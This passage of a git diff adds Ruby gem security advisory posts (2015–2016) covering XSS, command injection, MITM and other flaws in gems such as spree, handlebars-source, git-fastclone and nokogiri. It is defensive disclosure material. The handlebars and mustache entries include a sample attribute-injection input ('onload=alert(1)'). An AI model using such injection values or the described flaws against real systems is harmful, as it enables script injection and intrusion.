advisory +title: 'OSVDB-125701 (spree): Spree RABL templates rendering allows Arbitrary Code + Execution and File Disclosure' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 125701 + url: https://web.archive.org/web/20160331140223/https://spreecommerce.com/blog/security-updates-2015-7-20 + title: Spree RABL templates rendering allows Arbitrary Code Execution and File Disclosure + date: 2015-07-20 + description: |- + Spree contains a flaw where the rendering of arbitrary RABL templates + allows for execution arbitrary files on the host system, as well as + disclosing the existence of files on the system. + patched_versions: + - "~> 2.2.12" + - "~> 2.3.11" + - "~> 2.4.8" + - ">= 3.0.2" + related: + url: + - https://web.archive.org/web/20160331140223/https://spreecommerce.com/blog/security-updates-2015-7-20 + - https://github.com/rubysec/bundler-audit/issues/106 +--- diff --git a/advisories/_posts/2015-07-21-CVE-2015-5378.md b/advisories/_posts/2015-07-21-CVE-2015-5378.md new file mode 100644 index 00000000..ca42d484 --- /dev/null +++ b/advisories/_posts/2015-07-21-CVE-2015-5378.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2015-5378 (logstash-core): Logstash: SSL/TLS FREAK Attack' +comments: false +categories: +- logstash-core +advisory: + gem: logstash-core + cve: 2015-5378 + ghsa: g6rc-3fpq-w2gr + url: https://packetstormsecurity.com/files/132800/Logstash-1.5.2-SSL-TLS-FREAK.html + title: 'Logstash: SSL/TLS FREAK Attack' + date: 2015-07-21 + description: |- + Logstash: SSL/TLS FREAK Attack: Logstash 1.5.x before 1.5.3 and + 1.4.x before 1.4.4 allows remote attackers to read communications + between Logstash Forwarder agent and Logstash server. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - "~> 1.4.4" + - ">= 1.5.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-5378 + - https://packetstormsecurity.com/files/132800/Logstash-1.5.2-SSL-TLS-FREAK.html + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/factoring-attack-rsa-export-keys-freak/ruby/sid-1745/summary + - https://github.com/rubysec/ruby-advisory-db/issues/238 + - https://www.elastic.co/community/security + - https://github.com/advisories/GHSA-g6rc-3fpq-w2gr + - https://web.archive.org/web/20181211080524/http://www.securityfocus.com/bid/76015 +--- diff --git a/advisories/_posts/2015-07-21-CVE-2015-8857.md b/advisories/_posts/2015-07-21-CVE-2015-8857.md new file mode 100644 index 00000000..4314735c --- /dev/null +++ b/advisories/_posts/2015-07-21-CVE-2015-8857.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2015-8857 (uglifier): uglifier incorrectly handles non-boolean comparisons + during minification' +comments: false +categories: +- uglifier +advisory: + gem: uglifier + cve: 2015-8857 + osvdb: 126747 + ghsa: 34r7-q49f-h37c + url: https://github.com/mishoo/UglifyJS2/issues/751 + title: uglifier incorrectly handles non-boolean comparisons during minification + date: 2015-07-21 + description: |- + The upstream library for the Ruby uglifier gem, UglifyJS, is + affected by a vulnerability that allows a specially crafted + Javascript file to have altered functionality after minification. + + This bug, found in UglifyJS versions 2.4.23 and earlier, was demonstrated + to allow potentially malicious code to be hidden within secure code, + and activated by the minification process. + + For more information, consult: + * https://zyan.scripts.mit.edu/blog/backdooring-js + + * CWE: 254 - 7PK - Security Features + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 2.7.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-8857 + - https://github.com/mishoo/UglifyJS/issues/751 + - https://blog.azuki.vip/backdooring-js + - https://www.openwall.com/lists/oss-security/2016/04/20/11 + - https://github.com/advisories/GHSA-34r7-q49f-h37c +--- diff --git a/advisories/_posts/2015-07-21-OSVDB-126747.md b/advisories/_posts/2015-07-21-OSVDB-126747.md new file mode 100644 index 00000000..e871891a --- /dev/null +++ b/advisories/_posts/2015-07-21-OSVDB-126747.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-126747 (uglifier): uglifier incorrectly handles non-boolean comparisons + during minification' +comments: false +categories: +- uglifier +advisory: + gem: uglifier + osvdb: 126747 + url: https://github.com/mishoo/UglifyJS2/issues/751 + title: uglifier incorrectly handles non-boolean comparisons during minification + date: 2015-07-21 + description: |2 + + The upstream library for the Ruby uglifier gem, UglifyJS, is + affected by a vulnerability that allows a specially crafted + Javascript file to have altered functionality after minification. + + This bug, found in UglifyJS versions 2.4.23 and earlier, was demonstrated + to allow potentially malicious code to be hidden within secure code, + and activated by the minification process. + + For more information, consult: https://zyan.scripts.mit.edu/blog/backdooring-js/ + patched_versions: + - ">= 2.7.2" +--- diff --git a/advisories/_posts/2015-07-28-OSVDB-125699.md b/advisories/_posts/2015-07-28-OSVDB-125699.md new file mode 100644 index 00000000..0b479440 --- /dev/null +++ b/advisories/_posts/2015-07-28-OSVDB-125699.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'OSVDB-125699 (spree): Spree RABL templates rendering allows Arbitrary Code + Execution and File Disclosure' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 125699 + url: https://web.archive.org/web/20160331133641/spreecommerce.com/blog/security-updates-2015-7-28 + title: Spree RABL templates rendering allows Arbitrary Code Execution and File Disclosure + date: 2015-07-28 + description: |- + Spree contains a flaw where the rendering of arbitrary RABL templates + allows for execution arbitrary files on the host system, as well as + disclosing the existence of files on the system. + This is a different issue than OSVDB-125701. + patched_versions: + - "~> 2.2.13" + - "~> 2.3.12" + - "~> 2.4.9" + - ">= 3.0.3" + related: + osvdb: + - 125701 + url: + - https://github.com/rubysec/bundler-audit/issues/106 + - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20237 +--- diff --git a/advisories/_posts/2015-08-20-CVE-2015-5619.md b/advisories/_posts/2015-08-20-CVE-2015-5619.md new file mode 100644 index 00000000..8826f583 --- /dev/null +++ b/advisories/_posts/2015-08-20-CVE-2015-5619.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2015-5619 (logstash-core): Logstash: Man-In-The Middle attack' +comments: false +categories: +- logstash-core +advisory: + gem: logstash-core + cve: 2015-5619 + ghsa: 68pf-743m-hv2w + url: https://www.elastic.co/blog/logstash-1-5-4-and-1-4-5-released + title: 'Logstash: Man-In-The Middle attack' + date: 2015-08-20 + description: |- + Logstash 1.4.x before 1.4.5 and 1.5.x before 1.5.4 with Lumberjack + output or the Logstash forwarder does not validate SSL/TLS certificates + from the Logstash server, which might allow attackers to obtain + sensitive information via a man-in-the-middle attack. + cvss_v2: 4.3 + cvss_v3: 5.9 + patched_versions: + - "~> 1.4.5" + - ">= 1.5.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-5619 + - https://www.elastic.co/blog/logstash-1-5-4-and-1-4-5-released + - https://www.elastic.co/community/security + - https://packetstormsecurity.com/files/133269/Logstash-1.5.3-Man-In-The-Middle.html + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/man-middle-mitm-attacks/ruby/sid-1798/summary + - https://github.com/advisories/GHSA-68pf-743m-hv2w +--- diff --git a/advisories/_posts/2015-08-24-OSVDB-131671.md b/advisories/_posts/2015-08-24-OSVDB-131671.md new file mode 100644 index 00000000..584dea59 --- /dev/null +++ b/advisories/_posts/2015-08-24-OSVDB-131671.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'OSVDB-131671 (handlebars-source): handlebars.js - quoteless attributes in + templates can lead to XSS' +comments: false +categories: +- handlebars-source +advisory: + gem: handlebars-source + osvdb: 131671 + url: https://security.snyk.io/vuln/SNYK-RUBY-HANDLEBARSSOURCE-20238 + title: handlebars.js - quoteless attributes in templates can lead to XSS + date: 2015-08-24 + description: |- + The upstream 'handlebars' node.js module was found to not properly + escape equals (=) signs, leading to possible content injection + via attributes in templates. + + Example: + * Template: + * Input: { 'foo' : 'test.com onload=alert(1)'} + * Rendered result: + patched_versions: + - ">= 4.0.0" + related: + ghsa: + - 9prh-257w-9277 + url: + - https://github.com/handlebars-lang/handlebars.js + - https://github.com/handlebars-lang/handlebars.js/compare/v3.0.8...v4.0.0 + - https://security.snyk.io/vuln/SNYK-RUBY-HANDLEBARSSOURCE-20238 + - https://github.com/rubysec/bundler-audit/issues/185 + - https://www.veracode.com/blog/research/handlebarsjs-vulnerability-impact-study +--- diff --git a/advisories/_posts/2015-09-17-CVE-2015-7225.md b/advisories/_posts/2015-09-17-CVE-2015-7225.md new file mode 100644 index 00000000..ebde066c --- /dev/null +++ b/advisories/_posts/2015-09-17-CVE-2015-7225.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2015-7225 (devise-two-factor): devise-two-factor 1.1.0 and earlier vulnerable + to replay attacks' +comments: false +categories: +- devise-two-factor +advisory: + gem: devise-two-factor + cve: 2015-7225 + ghsa: x489-jjwm-52g7 + url: http://www.openwall.com/lists/oss-security/2015/09/06/2 + title: devise-two-factor 1.1.0 and earlier vulnerable to replay attacks + date: 2015-09-17 + description: |- + A OTP replay vulnerability in devise-two-factor 1.1.0 and earlier allows local + attackers to shoulder-surf a user's TOTP verification code and use it to + login after the user has authenticated. + + By not "burning" a previously used TOTP, devise-two-factor allows a narrow + window of opportunity (aka the timestep period) where an attacker can re-use a + verification code. + + Should an attacker possess a given user's authentication + credentials, this flaw effectively defeats two-factor authentication for the + duration of the timestep. + cvss_v3: 5.3 + patched_versions: + - ">= 2.0.0" +--- diff --git a/advisories/_posts/2015-09-20-CVE-2015-7314.md b/advisories/_posts/2015-09-20-CVE-2015-7314.md new file mode 100644 index 00000000..2a0fd19e --- /dev/null +++ b/advisories/_posts/2015-09-20-CVE-2015-7314.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2015-7314 (gollum): gollum Upload File Functionality Permits Arbitrary + File Access' +comments: false +categories: +- gollum +advisory: + gem: gollum + cve: 2015-7314 + osvdb: 127779 + ghsa: m2q3-53fq-7h66 + url: https://github.com/gollum/gollum/commit/ce68a88293ce3b18c261312392ad33a88bb69ea1 + title: gollum Upload File Functionality Permits Arbitrary File Access + date: 2015-09-20 + description: |- + The gollum gem contains a flaw in its upload file functionality that can + allow arbitrary file access. This occurs due to a lack of type checking + when handling temporary files during the upload process. + patched_versions: + - ">= 4.0.1" +--- diff --git a/advisories/_posts/2015-10-24-CVE-2017-1000042.md b/advisories/_posts/2015-10-24-CVE-2017-1000042.md new file mode 100644 index 00000000..7fdb4e9e --- /dev/null +++ b/advisories/_posts/2015-10-24-CVE-2017-1000042.md @@ -0,0 +1,44 @@ +--- +layout: advisory +title: 'CVE-2017-1000042 (mapbox-rails): mapbox-rails Content Injection via TileJSON + attribute' +comments: false +categories: +- mapbox-rails +advisory: + gem: mapbox-rails + cve: 2017-1000042 + osvdb: 129854 + ghsa: qr28-7j6p-9hmv + url: https://nvd.nist.gov/vuln/detail/CVE-2017-1000042 + title: mapbox-rails Content Injection via TileJSON attribute + date: 2015-10-24 + description: |- + Mapbox.js versions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 are vulnerable + to a cross-site-scripting attack in certain uncommon usage scenarios. + + If you use L.mapbox.map or L.mapbox.tileLayer to load untrusted TileJSON + content from a non-Mapbox URL, it is possible for a malicious user with + control over the TileJSON content to inject script content into the + "attribution" value of the TileJSON which will be executed in the context of + the page using Mapbox.js. + + Such usage is uncommon. The following usage scenarios are not vulnerable: + + * only trusted TileJSON content is loaded + * TileJSON content comes only from mapbox.com URLs + * a Mapbox map ID is supplied, rather than a TileJSON URL + + * CWE: 79 - Improper Neutralization of Input During Web Page Generation (XSS) + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - "~> 1.6.5" + - ">= 2.1.7" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000042 + - https://nodesecurity.io/advisories/49 + - https://hackerone.com/reports/54327 + - https://github.com/advisories/GHSA-qr28-7j6p-9hmv +--- diff --git a/advisories/_posts/2015-10-24-OSVDB-129854.md b/advisories/_posts/2015-10-24-OSVDB-129854.md new file mode 100644 index 00000000..6bd7ec07 --- /dev/null +++ b/advisories/_posts/2015-10-24-OSVDB-129854.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'OSVDB-129854 (mapbox-rails): mapbox-rails Content Injection via TileJSON attribute' +comments: false +categories: +- mapbox-rails +advisory: + gem: mapbox-rails + osvdb: 129854 + url: https://nodesecurity.io/advisories/49 + title: mapbox-rails Content Injection via TileJSON attribute + date: 2015-10-24 + description: | + Mapbox.js versions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 are vulnerable + to a cross-site-scripting attack in certain uncommon usage scenarios. + + If you use L.mapbox.map or L.mapbox.tileLayer to load untrusted TileJSON + content from a non-Mapbox URL, it is possible for a malicious user with + control over the TileJSON content to inject script content into the + "attribution" value of the TileJSON which will be executed in the context of + the page using Mapbox.js. + + Such usage is uncommon. The following usage scenarios are not vulnerable: + + * only trusted TileJSON content is loaded + * TileJSON content comes only from mapbox.com URLs + * a Mapbox map ID is supplied, rather than a TileJSON URL + patched_versions: + - "~> 1.6.5" + - ">= 2.1.7" +--- diff --git a/advisories/_posts/2015-11-17-OSVDB-131671.md b/advisories/_posts/2015-11-17-OSVDB-131671.md new file mode 100644 index 00000000..5e7dbcaa --- /dev/null +++ b/advisories/_posts/2015-11-17-OSVDB-131671.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'OSVDB-131671 (mustache-js-rails): mustache.js - quoteless attributes in templates + can lead to XSS' +comments: false +categories: +- mustache-js-rails +advisory: + gem: mustache-js-rails + osvdb: 131671 + url: https://security.snyk.io/vuln/SNYK-RUBY-MUSTACHEJSRAILS-20242 + title: mustache.js - quoteless attributes in templates can lead to XSS + date: 2015-11-17 + description: |- + The upstream 'mustache.js' node.js module was found to not properly + escape backtick (`) and equals (=) characters, leading to possible + content injection via attributes in templates. + + Example: + * Template: + * Input: { 'foo' : 'test.com onload=alert(1)'} + * Rendered result: + patched_versions: + - ">= 2.0.3" + related: + ghsa: + - w3w8-37jv-2c58 + url: + - https://github.com/janl/mustache.js/pull/530 + - https://security.snyk.io/vuln/SNYK-RUBY-MUSTACHEJSRAILS-20242 + - https://www.veracode.com/blog/research/handlebarsjs-vulnerability-impact-study +--- diff --git a/advisories/_posts/2015-11-23-CVE-2015-7519.md b/advisories/_posts/2015-11-23-CVE-2015-7519.md new file mode 100644 index 00000000..902202fc --- /dev/null +++ b/advisories/_posts/2015-11-23-CVE-2015-7519.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2015-7519 (passenger): Phusion Passenger Server allows to overwrite headers + in some cases' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2015-7519 + ghsa: fxwv-953p-7qpf + url: https://blog.phusion.nl/2015/12/07/cve-2015-7519/ + title: Phusion Passenger Server allows to overwrite headers in some cases + date: 2015-11-23 + description: |- + It is possible in some cases, for clients to overwrite headers set by + the server, resulting in a medium level security issue. Passenger 5 uses an SCGI-inspired + format to pass headers to Ruby/Python applications, while Passenger 4 uses an SCGI-inspired + format to pass headers to all applications. This implies a conversion to UPPER_CASE_WITH_UNDERSCORES + whereby the difference between characters like '-' and '_' is lost. + cvss_v3: 3.7 + patched_versions: + - "~> 4.0.60" + - ">= 5.0.22" +--- diff --git a/advisories/_posts/2015-12-09-CVE-2015-9097.md b/advisories/_posts/2015-12-09-CVE-2015-9097.md new file mode 100644 index 00000000..8f535a71 --- /dev/null +++ b/advisories/_posts/2015-12-09-CVE-2015-9097.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2015-9097 (mail): CVE-2015-9097 rubygem-mail: SMTP injection via recipient + email addresses' +comments: false +categories: +- mail +advisory: + gem: mail + cve: 2015-9097 + osvdb: 131677 + ghsa: q86f-fmqf-qrf6 + url: https://hackerone.com/reports/137631 + title: 'CVE-2015-9097 rubygem-mail: SMTP injection via recipient email addresses' + date: 2015-12-09 + description: |- + The mail gem before 2.5.5 for Ruby (aka A Really Ruby Mail Library) is + vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM + command, as demonstrated by CRLF sequences immediately before and after a DATA substring. + cvss_v3: 6.1 + patched_versions: + - ">= 2.5.5" + related: + url: + - http://www.mbsd.jp/Whitepaper/smtpi.pdf + - https://github.com/mikel/mail/pull/1097 +--- diff --git a/advisories/_posts/2015-12-11-CVE-2015-8968.md b/advisories/_posts/2015-12-11-CVE-2015-8968.md new file mode 100644 index 00000000..95a35154 --- /dev/null +++ b/advisories/_posts/2015-12-11-CVE-2015-8968.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2015-8968 (git-fastclone): git-fastclone permits arbitrary shell command + execution from .gitmodules' +comments: false +categories: +- git-fastclone +advisory: + gem: git-fastclone + cve: 2015-8968 + ghsa: 8gg6-3r63-25m8 + url: https://hackerone.com/reports/104465 + title: git-fastclone permits arbitrary shell command execution from .gitmodules + date: 2015-12-11 + description: |- + Git allows executing arbitrary shell commands using git-remote-ext via a + remote URLs. Normally git never requests URLs that the user doesn't + specifically request, so this is not a serious security concern. However, + submodules did allow the remote repository to specify what URL to clone + from. + + If an attacker can instruct a user to run a recursive clone from a + repository they control, they can get a client to run an arbitrary shell + command. Alternately, if an attacker can MITM an unencrypted git clone, + they could exploit this. The ext command will be run if the repository is + recursively cloned or if submodules are updated. This attack works when + cloning both local and remote repositories. + cvss_v3: 8.8 + patched_versions: + - ">= 1.0.1" +--- diff --git a/advisories/_posts/2015-12-15-CVE-2015-5312.md b/advisories/_posts/2015-12-15-CVE-2015-5312.md new file mode 100644 index 00000000..2d4bc032 --- /dev/null +++ b/advisories/_posts/2015-12-15-CVE-2015-5312.md @@ -0,0 +1,96 @@ +--- +layout: advisory +title: 'CVE-2015-5312 (nokogiri): Nokogiri gem contains several vulnerabilities in + libxml2' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2015-5312 + ghsa: xjqg-9jvg-fgx2 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/aSbgDiwb24s + title: Nokogiri gem contains several vulnerabilities in libxml2 + date: 2015-12-15 + description: |- + Nokogiri version 1.6.7.1 has been released, pulling in several upstream + patches to the vendored libxml2 to address the following CVEs: + + CVE-2015-5312 + CVSS v2 Base Score: 7.1 (HIGH) + The xmlStringLenDecodeEntities function in parser.c in libxml2 + before 2.9.3 does not properly prevent entity expansion, which + allows context-dependent attackers to cause a denial of + service (CPU consumption) via crafted XML data, a different + vulnerability than CVE-2014-3660. + + CVE-2015-7497 + CVSS v2 Base Score: 5.0 (MEDIUM) + Heap-based buffer overflow in the xmlDictComputeFastQKey + function in dict.c in libxml2 before 2.9.3 allows + context-dependent attackers to cause a denial of service via + unspecified vectors. + + CVE-2015-7498 + CVSS v2 Base Score: 5.0 (MEDIUM) + Heap-based buffer overflow in the xmlParseXmlDecl function in + parser.c in libxml2 before 2.9.3 allows context-dependent + attackers to cause a denial of service via unspecified vectors + related to extracting errors after an encoding conversion + failure. + + CVE-2015-7499 + CVSS v2 Base Score: 5.0 (MEDIUM) + Heap-based buffer overflow in the xmlGROW function in parser.c + in libxml2 before 2.9.3 allows context-dependent attackers to + obtain sensitive process memory information via unspecified + vectors. + + CVE-2015-7500 + CVSS v2 Base Score: 5.0 (MEDIUM) + The xmlParseMisc function in parser.c in libxml2 before 2.9.3 + allows context-dependent attackers to cause a denial of + service (out-of-bounds heap read) via unspecified vectors + related to incorrect entities boundaries and start tags. + + CVE-2015-8241 + CVSS v2 Base Score: 6.4 (MEDIUM) + The xmlNextChar function in libxml2 2.9.2 does not properly + check the state, which allows context-dependent attackers to + cause a denial of service (heap-based buffer over-read and + application crash) or obtain sensitive information via crafted + XML data. + + CVE-2015-8242 + CVSS v2 Base Score: 5.8 (MEDIUM) + The xmlSAX2TextNode function in SAX2.c in the push interface in + the HTML parser in libxml2 before 2.9.3 allows + context-dependent attackers to cause a denial of + service (stack-based buffer over-read and application crash) or + obtain sensitive information via crafted XML data. + + CVE-2015-8317 + CVSS v2 Base Score: 5.0 (MEDIUM) + The xmlParseXMLDecl function in parser.c in libxml2 before + 2.9.3 allows context-dependent attackers to obtain sensitive + information via an (1) unterminated encoding value or (2) + incomplete XML declaration in XML data, which triggers an + out-of-bounds heap read. + cvss_v2: 7.1 + unaffected_versions: + - "< 1.6.0" + patched_versions: + - ">= 1.6.7.1" + related: + cve: + - 2015-7497 + - 2015-7498 + - 2015-7499 + - 2015-7500 + - 2015-8241 + - 2015-8242 + - 2015-8317 + url: + - https://github.com/sparklemotion/nokogiri/pull/1378 + - https://github.com/sparklemotion/nokogiri/commit/4205af1a2a546f79d1b48df2ad8b27299c0099c5 +--- diff --git a/advisories/_posts/2015-12-15-CVE-2015-8969.md b/advisories/_posts/2015-12-15-CVE-2015-8969.md new file mode 100644 index 00000000..f443aaba --- /dev/null +++ b/advisories/_posts/2015-12-15-CVE-2015-8969.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2015-8969 (git-fastclone): git-fastclone Shell Metacharacter Injection + Arbitrary Command Execution' +comments: false +categories: +- git-fastclone +advisory: + gem: git-fastclone + cve: 2015-8969 + ghsa: mf6w-45cf-qhmp + url: https://hackerone.com/reports/105190 + title: git-fastclone Shell Metacharacter Injection Arbitrary Command Execution + date: 2015-12-15 + description: |- + git-fastclone before 1.0.5 passes user modifiable strings directly to a shell + command. An attacker can execute malicious commands by modifying the strings + that are passed as arguments to "cd " and "git clone " commands in the + library. + cvss_v3: 9.8 + patched_versions: + - ">= 1.0.5" +--- diff --git a/advisories/_posts/2015-12-18-OSVDB-132234.md b/advisories/_posts/2015-12-18-OSVDB-132234.md new file mode 100644 index 00000000..b47b325c --- /dev/null +++ b/advisories/_posts/2015-12-18-OSVDB-132234.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'OSVDB-132234 (rack-attack): rack-attack Gem for Ruby missing normalization + before request path processing' +comments: false +categories: +- rack-attack +advisory: + gem: rack-attack + osvdb: 132234 + url: https://github.com/kickstarter/rack-attack/releases/tag/v4.3.1 + title: rack-attack Gem for Ruby missing normalization before request path processing + date: 2015-12-18 + description: |- + When using rack-attack with a rails app, developers expect the request + path to be normalized. In particular, trailing slashes are stripped so + a request path "/login/" becomes "/login" by the time you're in + ActionController. + + Since Rack::Attack runs before ActionDispatch, the request path is not + yet normalized. This can cause throttles and blacklists to not work as + expected. + + E.g., a throttle: + + `throttle('logins', ...) {|req| req.path == "/login" }` + + would not match a request to '/login/', though Rails would route + '/login/' to the same '/login' action. + patched_versions: + - ">= 4.3.1" + related: + url: + - https://github.com/kickstarter/rack-attack/releases/tag/v4.3.1 + - https://github.com/rack/rack-attack/commit/76c2e3143099d938883ae5654527b47e9e6a8977 + - https://security.snyk.io/vuln/SNYK-RUBY-RACKATTACK-20246 + - https://github.com/rack/rack-attack/blob/main/CHANGELOG.md +--- diff --git a/advisories/_posts/2016-01-04-CVE-2015-7541.md b/advisories/_posts/2016-01-04-CVE-2015-7541.md new file mode 100644 index 00000000..5edc0da0 --- /dev/null +++ b/advisories/_posts/2016-01-04-CVE-2015-7541.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2015-7541 (colorscore): colorscore Gem for Ruby lib/colorscore/histogram.rb + Arbitrary Command Injection' +comments: false +categories: +- colorscore +advisory: + gem: colorscore + cve: 2015-7541 + osvdb: 132516 + ghsa: 73qw-ww62-m54x + url: http://seclists.org/oss-sec/2016/q1/17 + title: colorscore Gem for Ruby lib/colorscore/histogram.rb Arbitrary Command Injection + date: 2016-01-04 + description: |- + The contents of the `image_path`, `colors`, and `depth` variables generated + from possibly user-supplied input are passed directly to the shell via + `convert ...`. + + If a user supplies a value that includes shell metacharacters such as ';', an + attacker may be able to execute shell commands on the remote system as the + user id of the Ruby process. + + To resolve this issue, the aforementioned variables (especially `image_path`) + must be sanitized for shell metacharacters. + cvss_v3: 10.0 + patched_versions: + - ">= 0.0.5" +--- diff --git a/advisories/_posts/2016-01-08-OSVDB-132800.md b/advisories/_posts/2016-01-08-OSVDB-132800.md new file mode 100644 index 00000000..4ed12003 --- /dev/null +++ b/advisories/_posts/2016-01-08-OSVDB-132800.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-132800 (auto_select2): auto_select2 Gem for Ruby allows arbitrary search + execution' +comments: false +categories: +- auto_select2 +advisory: + gem: auto_select2 + osvdb: 132800 + url: https://www.openwall.com/lists/oss-security/2016/01/11/2 + title: auto_select2 Gem for Ruby allows arbitrary search execution + date: 2016-01-08 + description: |- + auto_select2 Gem for Ruby contains a flaw that is triggered + when handling the 'params[:default_class_name]' option. This + allows users to search any object of all given ActiveRecord classes. + patched_versions: + - ">= 0.5.0" + related: + url: + - https://www.openwall.com/lists/oss-security/2016/01/11/2 + - https://github.com/Loriowar/auto_select2/issues/4 + - https://github.com/bkocherov/auto_select2/commit/c283ba5b2ad828c3b7414565ae66cd0d86f5a5df + - https://github.com/rubysec/ruby-advisory-db/issues/224 + - https://github.com/rubysec/ruby-advisory-db/pull/227 + - https://github.com/Tab10id/auto_awesomplete/issues/2 +--- diff --git a/advisories/_posts/2016-01-12-CVE-2017-1000043.md b/advisories/_posts/2016-01-12-CVE-2017-1000043.md new file mode 100644 index 00000000..a9557215 --- /dev/null +++ b/advisories/_posts/2016-01-12-CVE-2017-1000043.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2017-1000043 (mapbox-rails): mapbox-rails Content Injection via TileJSON + Name' +comments: false +categories: +- mapbox-rails +advisory: + gem: mapbox-rails + cve: 2017-1000043 + osvdb: 132871 + ghsa: q69p-5h74-w36f + url: https://nvd.nist.gov/vuln/detail/CVE-2017-1000043 + title: mapbox-rails Content Injection via TileJSON Name + date: 2016-01-12 + description: |- + Mapbox.js versions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 are vulnerable + to a cross-site-scripting attack in certain uncommon usage scenarios. + + If you use L.mapbox.map and L.mapbox.shareControl it is possible for a + malicious user with control over the TileJSON content to inject script + content into the name value of the TileJSON. After clicking on the share + control, the malicious code will execute in the context of the page using + Mapbox.js. + + Such usage is uncommon. L.mapbox.shareControl is not automatically added to + Mapbox.js maps and must be explicitly added. The following usage scenarios + are not vulnerable: + + * the map does not use a share control (L.mapbox.sharecontrol) + * only trusted TileJSON content is loaded + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - "~> 1.6.6" + - ">= 2.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000043 + - https://nodesecurity.io/advisories/74 + - https://hackerone.com/reports/99245 + - https://github.com/advisories/GHSA-q69p-5h74-w36f +--- diff --git a/advisories/_posts/2016-01-12-OSVDB-132871.md b/advisories/_posts/2016-01-12-OSVDB-132871.md new file mode 100644 index 00000000..245c51e0 --- /dev/null +++ b/advisories/_posts/2016-01-12-OSVDB-132871.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'OSVDB-132871 (mapbox-rails): mapbox-rails Content Injection via TileJSON Name' +comments: false +categories: +- mapbox-rails +advisory: + gem: mapbox-rails + osvdb: 132871 + url: https://nodesecurity.io/advisories/74 + title: mapbox-rails Content Injection via TileJSON Name + date: 2016-01-12 + description: | + Mapbox.js versions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 are vulnerable + to a cross-site-scripting attack in certain uncommon usage scenarios. + + If you use L.mapbox.map and L.mapbox.shareControl it is possible for a + malicious user with control over the TileJSON content to inject script + content into the name value of the TileJSON. After clicking on the share + control, the malicious code will execute in the context of the page using + Mapbox.js. + + Such usage is uncommon. L.mapbox.shareControl is not automatically added to + Mapbox.js maps and must be explicitly added. The following usage scenarios + are not vulnerable: + + * the map does not use a share control (L.mapbox.sharecontrol) + * only trusted TileJSON content is loaded + patched_versions: + - "~> 1.6.6" + - ">= 2.2.4" +--- diff --git a/advisories/_posts/2016-01-14-CVE-2015-7565.md b/advisories/_posts/2016-01-14-CVE-2015-7565.md new file mode 100644 index 00000000..7fb93a16 --- /dev/null +++ b/advisories/_posts/2016-01-14-CVE-2015-7565.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2015-7565 (ember-source): Ember.js XSS Vulnerability with User-Supplied + JSON' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2015-7565 + ghsa: m3q7-rj8g-m457 + url: https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY + title: Ember.js XSS Vulnerability with User-Supplied JSON + date: 2016-01-14 + description: |- + By default, Ember will escape any values in Handlebars templates that + use double curlies (`{{value}}`). Developers can specifically opt out of + this escaping behavior by passing an instance of `SafeString` rather + than a raw string, which tells Ember that it should not escape the + string because the developer has taken responsibility for escapement. + + It is possible for an attacker to create a specially-crafted payload + that causes a non-sanitized string to be treated as a `SafeString`, and + thus bypass Ember's normal escaping behavior. This could allow an + attacker to execute arbitrary JavaScript in the context of the current + domain ("XSS"). + + All users running an affected release should either upgrade or use of + the workarounds immediately. + cvss_v3: 6.1 + unaffected_versions: + - "< 1.8.0" + patched_versions: + - "~> 1.11.4" + - "~> 1.12.2" + - "~> 1.13.12" + - "~> 2.0.3" + - "~> 2.1.2" + - ">= 2.2.1" +--- diff --git a/advisories/_posts/2016-01-18-CVE-2015-8314.md b/advisories/_posts/2016-01-18-CVE-2015-8314.md new file mode 100644 index 00000000..90fb5b17 --- /dev/null +++ b/advisories/_posts/2016-01-18-CVE-2015-8314.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2015-8314 (devise): Devise Gem for Ruby Unauthorized Access Using Remember + Me Cookie' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2015-8314 + ghsa: 746g-3gfp-hfhw + url: http://blog.plataformatec.com.br/2016/01/improve-remember-me-cookie-expiration-in-devise/ + title: Devise Gem for Ruby Unauthorized Access Using Remember Me Cookie 